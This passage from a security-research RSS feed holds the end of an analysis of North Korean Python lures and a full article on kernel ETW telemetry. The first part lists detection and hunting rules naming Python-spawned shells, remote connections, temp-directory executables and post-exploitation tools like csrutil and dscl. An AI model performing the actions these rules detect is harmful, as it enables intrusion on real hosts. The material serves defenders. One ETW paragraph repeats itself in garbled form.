and Remote Network Connection</h3> <pre><code>sequence by process.parent.entity_id with maxspan=3s [process where event.type == "start" and event.action == "exec" and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"] [network where event.type == "start"] </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/image3.png" alt="Sequence based Behavior Rule detection" title="Sequence based Behavior Rule detection" /></p> <p>This rule looks for the specific behavior exhibited when the <code>__init__.py</code> sample writes the obfuscated Python script to disk and utilizes the <code>subprocess.Popen</code> method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.</p> <h3>[Hunt] Python Executable File Creation in Temporary Directory</h3> <pre><code>file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*") and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*") </code></pre> <p>If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.</p> <h3>[Hunt] Interactive Shell Execution via Python</h3> <pre><code>process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash") and process.args == "-i" and process.args_count == 2 </code></pre> <p>The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.</p> <h3>[Hunt] Suspicious Python Child Process Execution</h3> <pre><code>process where event.type == "start" and event.action == "exec" and process.parent.name : "python*" and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr") </code></pre> <p>The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.</p> <h2>Conclusion and Future Trends</h2> <p>As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.</p> <p>Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.</p> <p>Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.</p> <p>As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.</p> <p>As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.</p> <h3>Resources</h3> <ul> <li><a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">Fake recruiter coding tests target devs with malicious Python packages</a></li> <li><a href="https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/">Threat Assessment: North Korean Threat Groups</a></li> <li><a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">DeFied Expectations — Examining Web3 Heists | Google Cloud Blog</a></li> <li><a href="https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn">Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs</a></li> </ul> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/dprk-code-of-conduct/dprk-code-of-conduct.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Kernel ETW is the best ETW]]></title> <link>https://www.elastic.co/security-labs/kernel-etw-best-etw</link> <guid>kernel-etw-best-etw</guid> <pubDate>Fri, 13 Sep 2024 00:00:00 GMT</pubDate> <description><![CDATA[This research focuses on the importance of native audit logs in secure-by-design software, emphasizing the need for kernel-level ETW logging over user-mode hooks to enhance anti-tamper protections.]]></description> <content:encoded><![CDATA[<h2>Preamble</h2> <p>A critical feature of secure-by-design software is the generation of audit logs when privileged operations are performed. These native audit logs can include details of the internal software state, which are impractical for third-party security vendors to bolt on after the fact.</p> <p>Most Windows components generate logs using <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing">Event Tracing for Windows</a> (ETW). These events expose some of Windows's inner workings, and there are scenarios when endpoint security products benefit from subscribing to them. For security purposes, though, not all ETW providers are created equal.</p> <p>The first consideration is typically the reliability of the event provider itself - in particular, where the logging happens. Is it within the client process and <a href="https://twitter.com/dez_/status/938074904666271744">trivially vulnerable to ETW tampering</a>? Or is it perhaps slightly safer over in an RPC server process? Ideally, though, the telemetry will come from the <a href="https://www.elastic.co/security-labs/doubling-down-etw-callstacks">kernel</a>. Given the user-to-kernel security boundary, this provides stronger anti-tamper guarantees over in-process telemetry. This is Microsoft’s recommended approach. Like Elastic Endpoint, Microsoft Defender for Endpoint also uses kernel ETW in preference to fragile user-mode <code>ntdll</code> hooks.</p> <p>For example, an adversary might be able to easily avoid an in-process user-mode hook on <code>ntdll!NtProtectVirtualMemory</code>, but bypassing a kernel <a href="https://github.com/search?type=code&q=repo:jdu2600/Windows10EtwEvents+PROTECTVM">PROTECTVM</a> ETW event is significantly harder. Or, at least, <a href="https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">it should be</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image3.png" alt="Sample ETW providers and where they are logged" title="Sample ETW providers and where they are logged" /></p> <p>The Security Event Log is effectively just persistent storage for the events from the Microsoft-Windows-Security-Auditing ETW provider. Surprisingly, <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688">Security Event 4688</a> for process creation is not a kernel event. The kernel dispatches the data to the Local Security Authority (<code>lsass.exe</code>) service, emitting an ETW event for the Event Log to consume. So, the data could be tampered with from within that server process. Contrast this with the <code>ProcessStart</code> event from the Microsoft-Windows-Kernel-Process provider, which is logged directly by the kernel and requires kernel-level privileges to interfere with.</p> <p>The second consideration is then the reliability of the information being logged. You might trust the event source, but what if it is just <a href="https://www.elastic.co/security-labs/effective-parenting-detecting-lrpc-based-parent-pid-spoofing">blindly logging</a> <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">client-supplied data</a> that is extrinsic to the event being logged?</p> <p>In this article, we’ll focus on kernel ETW events. These are typically the most security-relevant because they are difficult to bypass and often pertain to privileged actions being performed on behalf of a client thread.</p> <p>When Microsoft introduced Kernel Patch Protection, security vendors were significantly constrained in their ability to monitor the kernel. Given the limited number of kernel extension points provided by Microsoft, they were increasingly compelled to rely on asynchronous ETW events for after-the-fact visibility of kernel actions performed on behalf of malware.</p> <p>Given this dependency, the public documentation of Windows kernel telemetry sources is unfortunately somewhat sparse.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image11.png" alt="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" title="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" /></p> <h2>Kernel ETW Events</h2> <p>There are currently <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#types-of-providers">four types of ETW providers</a> that we need to consider.</p> <p>Firstly, there are legacy and modern variants of “event provider”:</p> <ul> <li>legacy (<a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-">mof</a>-based) event providers</li> <li>modern (<a href="https://learn.microsoft.com/en-us/windows/win32/wes/writing-an-instrumentation-manifest">manifest</a>-based) event providers</li> </ul> <p>And then there are legacy and modern variants of “trace provider”:</p> <ul> <li>legacy Windows software trace preprocessor (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing">WPP</a>) trace providers</li> <li>modern <a href="https://learn.microsoft.com/en-us/windows/win32/tracelogging/trace-logging-about">TraceLogging</a> trace providers</li> </ul> <p>The “event” versus “trace” distinction is mostly semantic. Event providers are typically registered with the operating system ahead of time, and you can inspect the available telemetry metadata. These are typically used by system administrators for troubleshooting purposes and are often semi-documented. But when something goes really, <em>really</em> wrong there are (hidden) trace providers. These are typically used only by the original software authors for advanced troubleshooting and are undocumented.</p> <p>In practice, each uses a slightly different format file to describe and register its events and this introduces minor differences in how the events are logged - and, more importantly, how the potential events can be enumerated.</p> <h3>Modern Kernel Event Providers</h3> <p>The modern kernel ETW providers aren’t strictly documented. However, registered event details can be queried from the operating system via the <a href="https://learn.microsoft.com/en-us/windows/win32/api/tdh/">Trace Data Helper API</a>. Microsoft’s <a href="https://github.com/microsoft/perfview">PerfView</a> tool uses these APIs to reconstruct the provider’s <a href="https://github.com/microsoft/perfview/blob/319be737115e01f77c42804cd1d41755211347f3/src/TraceEvent/RegisteredTraceEventParser.cs#L88">registration manifest</a>, and Pavel Yosifovich’s <a href="https://github.com/zodiacon/EtwExplorer">EtwExplorer</a> then wraps these manifests in a simple GUI. You can use these <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/manifest">tab-separated value files</a> of registered manifests from successive Windows versions. A single line per event is very useful for grepping, though others have since published the <a href="https://github.com/nasbench/EVTX-ETW-Resources/tree/main/ETWProvidersManifests">raw XML manifests</a>.</p> <p>These aren’t all of the possible Windows ETW events, however. They are only the ones registered with the operating system by default. For example, the ETW events for many <a href="https://github.com/nasbench/EVTX-ETW-Resources/issues/52">server roles aren’t registered</a> until that feature is enabled.</p> <h3>Legacy Kernel Event Providers</h3> <p>The <a href="https://docs.microsoft.com/en-us/windows/win32/etw/msnt-systemtrace">legacy kernel events</a> are documented by Microsoft. Mostly.</p> <p>Legacy providers also exist within the operating system as WMI <a href="https://learn.microsoft.com/en-us/windows/win32/etw/eventtrace">EventTrace</a> classes. Providers are the root classes, groups are the children, and events are the grandchildren.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image8.png" alt="Enumerating MOF providers with wbemtest" title="Enumerating MOF providers with wbemtest" /></p> <p>To search the legacy events in the same way as modern eventTo search legacy events in the same way as modern events, these classes were parsed, and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer,</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events were these classes were parsed and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events published.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image6.png" alt="Enumerating MOF providers with ETW Explorer" title="Enumerating MOF providers with ETW Explorer" /></p> <p>The fully reconstructed Windows Kernel Trace MOF is <a href="https://gist.github.com/jdu2600/a2b03e4e9cf19282a41ad766388c9856">here</a> (or in a tabular format <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/master/mof/Windows_Kernel_Trace.tsv">here</a>).</p> <p>Of the 340 registered legacy events, only 116 were documented. Typically, each legacy event needs to be enabled via a specific flag, but these weren’t documented either. There was a clue in the documentation for the kernel <a href="https://learn.microsoft.com/en-us/windows/win32/etw/obtrace">Object Manager Trace</a> events. It mentioned <code>PERF_OB_HANDLE</code>, a constant that is not defined in the headers in the latest SDK. Luckily, <a href="https://geoffchappell.com/studies/windows/km/ntoskrnl/api/etw/tracesup/perfinfo_groupmask.htm">Geoff Chappell</a> and the Windows 10 1511 WDK came to the rescue. This information was used to add support for <code>PERFINFO_GROUPMASK</code> kernel trace flags to Microsoft’s <a href="https://github.com/microsoft/krabsetw/blob/master/examples/NativeExamples/kernel_trace_002.cpp">KrabsETW</a> library. It also turned out that the Object Trace documentation was wrong. That non-public constant can only be used with an undocumented API extension. Fortunately, public Microsoft projects such as <code>PerfView</code> often provide <a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/ETWKernelControl.cs#L464-L469">examples of how to use undocumented APIs</a>.</p> <p>With both manifests and MOFs published on GitHub, most kernel events can now be found with <a href="https://github.com/search?type=code&q=repo:jdu2600/Windows10EtwEvents+kernel">this query</a>.</p> <p>Interestingly, Microsoft often <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">obfuscates</a> the names of security-relevant events, so searching for events with a generic name prefix such as <code>task_</code> yields some <a href="https://github.com/search?type=code&q=repo:jdu2600/Windows10EtwEvents+kernel+task_">interesting results</a>.</p> <p>Sometimes the keyword hints to the event’s purpose. For example, <code>task_014</code> in <code>Microsoft-Windows-Kernel-General</code> is enabled with the keyword <code>KERNEL_GENERAL_SECURITY_ACCESSCHECK.</code></p> <p>And thankfully, the parameters are almost always well-named. We might guess that <code>task_05</code> in <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> is related to <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> since it logs fields named <code>TargetProcessId</code> and <code>DesiredAccess</code>.</p> <p><a href="https://github.com/search?type=code&q=repo:jdu2600/Windows10EtwEvents+kernel+processstartkey">Another useful query</a> is to search for events with an explicit <code>ProcessStartKey</code> field. ETW events can be <a href="https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-enable_trace_parameters">configured</a> to include this field for the logging process, and any event that includes this information for another process is often security relevant.</p> <p>If you had a specific API in mind, you might query for its name or its parameters. For example, if you want Named Pipe events, you might use <a href="https://github.com/search?type=code&q=repo:jdu2600/Windows10EtwEvents+kernel+namedpipe">this query</a>.</p> <p>In this instance, though, <code>Microsoft-Windows-SEC</code> belongs to the built-in Microsoft Security drivers that Microsoft Defender for Endpoint (MDE) utilizes. This provider is only officially available to MDE, though <a href="https://www.youtube.com/watch?v=tuoA3KGKf7o">Sebastian Feldmann and Philipp Schmied</a> have demonstrated how to start a session using an <a href="https://learn.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session">AutoLogger</a> and subscribe to that session’s events. This is only currently useful for MDE users as otherwise, the driver is not configured to emit events.</p> <p>But what about trace providers?</p> <h3>Modern Kernel Trace Providers</h3> <p>TraceLogging metadata is stored as an opaque blob within the logging binary. Thankfully this format has been reversed by <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">Matt Graeber</a>. We can use Matt’s script to dump all TraceLogging metadata for <code>ntoskrnl.exe</code>. A sample dump of Windows 11 TraceLogging metadata is <a href="https://gist.github.com/jdu2600/288475bc43ea68636c28cb25ddeb934f">here</a>.</p> <p>Unfortunately, the metadata structure alone doesn’t retain the correlation between providers and events. There are interesting provider names, such as <code>Microsoft.Windows.Kernel.Security</code> and <code>AttackSurfaceMonitor</code>, but it’s not yet clear from our metadata dump which events belong to these providers.</p> <h3>Legacy Kernel Trace Providers</h3> <p>WPP metadata is stored within symbols files (PDBs). Microsoft includes this information in the <a href="https://techcommunity.microsoft.com/t5/microsoft-usb-blog/how-to-include-and-view-wpp-trace-messages-in-a-driver-8217-s/ba-p/270778">public symbols for some, but not all, drivers</a>. The kernel itself, however, does not produce any WPP events. Instead, the legacy Windows Kernel Trace event provider can be passed undocumented flags to enable the legacy “trace” events usually only available to Microsoft kernel developers.</p> <table> <thead> <tr> <th>Provider</th> <th>Documentation</th> <th>Event Metadata</th> </tr> </thead> <tbody> <tr> <td>Modern Event Providers</td> <td>None</td> <td><a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/RegisteredTraceEventParser.cs#L81-L529">Registered XML manifests</a></td> </tr> <tr> <td>Legacy Event Providers</td> <td>Partial</td> <td><a href="https://learn.microsoft.com/en-us/windows/win32/etw/retrieving-event-data-using-mof">EventTrace WMI objects</a></td> </tr> <tr> <td>Modern Trace Providers</td> <td>None</td> <td><a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658">Undocumented blob in binary</a></td> </tr> <tr> <td>Legacy Trace Providers</td> <td>None</td> <td><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/trace-message-format-file">Undocumented blob in Symbols</a></td> </tr> </tbody> </table> <h2>Next Steps</h2> <p>We now have kernel event metadata for each of the four flavours of ETW provider, but a list of ETW events is just our starting point. Knowing the provider and event keyword may not be enough to generate the events we expect. Sometimes, an additional configuration registry key or API call is required. More often, though, we just need to understand the exact conditions under which the event is logged.</p> <p>Knowing exactly where and what is being logged is critical to truly understanding your telemetry and its limitations. And, thanks to decompilers becoming readily available, we have the option of some just-enough-reversing available to us. In IDA we call this “press F5”. Ghidra is the open-source alternative and it supports scripting … with Java.</p> <p>For kernel ETW, we are particularly interested in <code>EtwWrite</code> calls that are reachable from system calls. We want as much of the call site parameter information as possible, including any associated public symbol information. This meant that we needed to walk the call graph but also attempt to resolve the possible values for particular parameters.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image4.png" alt="alt_text" title="image_tooltip" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image12.png" alt="EtwWrite documentation" title="EtwWrite documentation" /></p> <p>The necessary parameters were the <code>RegHandle</code> and the <code>EventDescriptor</code>. The former is an opaque handle for the provider, and the latter provides event-specific information, such as the event id and its associated keywords. An ETW keyword is an identifier used to enable a set of events.</p> <p>Even better, these event descriptors were typically stored in a global constant with a public symbol.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image1.png" alt="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" title="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" /></p> <p>We had sufficient event metadata but still needed to resolve the opaque provider handle assigned at runtime back to the metadata about the provider. For this, we also needed the <code>EtwRegister</code> calls.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image9.png" alt="EtwRegister documentation" title="EtwRegister documentation" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image10.png" alt="Example ntoskrnl.exe EtwRegister in Ghidra" title="Example ntoskrnl.exe EtwRegister in Ghidra" /></p> <p>The typical pattern for kernel modern event providers was to store the constant provider GUID and the runtime handle in globals with public symbols.</p> <p>Another pattern encountered was calls to <code>EtwRegister</code>, <code>EtwEwrite</code>, and <code>EtwUnregister</code>, all in the same function. In this case, we took advantage of the locality to find the provider GUID for the event.</p> <p>Modern TraceLogging providers, however, did not have associated per-provider public symbols to provide a hint of each provider’s purpose. However, Matt Graeber had <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">reversed the TraceLogging metadata</a> format and documented that the provider name is stored at a <a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658#file-tlgmetadataparser-psm1-L461-L473">fixed offset</a> from the provider GUID. Having the exact provider name is even better than just the public symbol we recovered for modern events.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image7.png" alt="Example TraceLogging Provider blob in Ghidra" title="Example TraceLogging Provider blob in Ghidra" /></p> <p>This just left the legacy providers. They didn’t seem to have either public symbols or metadata blobs. Some constants are passed to an undocumented function named <code>EtwTraceKernelEvent</code> which wraps the eventual ETW write call.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image5.png" alt="Example legacy provider EtwTraceKernelEvent call in Ghidra" title="Example legacy provider EtwTraceKernelEvent call in Ghidra" /></p> <p>Those constants are present in the Windows 10 1511 WDK headers (and the <a href="https://github.com/winsiderss/systeminformer/blob/7ad69bf13d31892a89be7230bdbd47ffde024a2b/phnt/include/ntwmi.h#L725">System Informer</a> headers), so we could label these events with the constant names.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/image2.png" alt="ntwmi.h extract" title="ntwmi.h extract" /></p> <p>This script has been recently updated for Ghidra 11, along with improved support for TraceLogging and Legacy events. You can now find it on GitHub here - <a href="https://github.com/jdu2600/API-To-ETW">https://github.com/jdu2600/API-To-ETW</a></p> <p>Sample output for the Windows 11 kernel is <a href="https://github.com/jdu2600/API-To-ETW/blob/main/ntoskrnl.exe.csv">here</a>.</p> <p>Our previously anonymous <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> events are quickly unmasked by this script.</p> <table> <thead> <tr> <th>Id</th> <th>EVENT_DESCRIPTOR Symbol</th> <th>Function</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE</td> <td>PsSetLoadImageNotifyRoutineEx</td> </tr> <tr> <td>2</td> <td>KERNEL_AUDIT_API_TERMINATEPROCESS</td> <td>NtTerminateProcess</td> </tr> <tr> <td>3</td> <td>KERNEL_AUDIT_API_CREATESYMBOLICLINKOBJECT</td> <td>ObCreateSymbolicLink</td> </tr> <tr> <td>4</td> <td>KERNEL_AUDIT_API_SETCONTEXTTHREAD</td> <td>NtSetContextThread</td> </tr> <tr> <td>5</td> <td>KERNEL_AUDIT_API_OPENPROCESS</td> <td>PsOpenProcess</td> </tr> <tr> <td>6</td> <td>KERNEL_AUDIT_API_OPENTHREAD</td> <td>PsOpenThread</td> </tr> <tr> <td>7</td> <td>KERNEL_AUDIT_API_IOREGISTERLASTCHANCESHUTDOWNNOTIFICATION</td> <td>IoRegisterLastChanceShutdownNotification</td> </tr> <tr> <td>8</td> <td>KERNEL_AUDIT_API_IOREGISTERSHUTDOWNNOTIFICATION</td> <td>IoRegisterShutdownNotification</td> </tr> </tbody> </table> <p>Symbol and containing function for Microsoft-Windows-Kernel-Audit-API-Calls events</p> <p>With the call path and parameter information recovered by the script, we can also see that the <code>SECURITY_ACCESSCHECK</code> event from earlier is associated with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-seaccesscheck">SeAccessCheck</a> kernel API, but only logged within a function named <code>SeLogAccessFailure</code>. Only logging failure conditions is a very common occurrence with ETW events. For troubleshooting purposes, the original ETW use case, these are typically the most useful and the implementation in most components reflects this. Unfortunately, for security purposes, the inverse is often true. The successful operation logs are usually more useful for finding malicious activity. So, the value of some of these legacy events is often low.</p> <p>Modern <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design">Secure by Design</a> practice is to audit log both success and failure for security relevant activities and Microsoft continues to add new security-relevant ETW events that do this. For example, the preview build of Windows 11 24H2 includes some <a href="https://windows-internals.com/an-end-to-kaslr-bypasses/">interesting new ETW events</a> in the <code>Microsoft-Windows-Threat-Intelligence</code> provider. Hopefully, these will be documented for security vendors ahead of its release.</p> <p>Running this decompiler script across interesting Windows drivers and service DLLs is left as an exercise to the reader.</p>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/kernel-etw-best-etw/kernel-etw-best-etw.jpg" length="0" type="image/jpg"/> </item> </channel> </rss>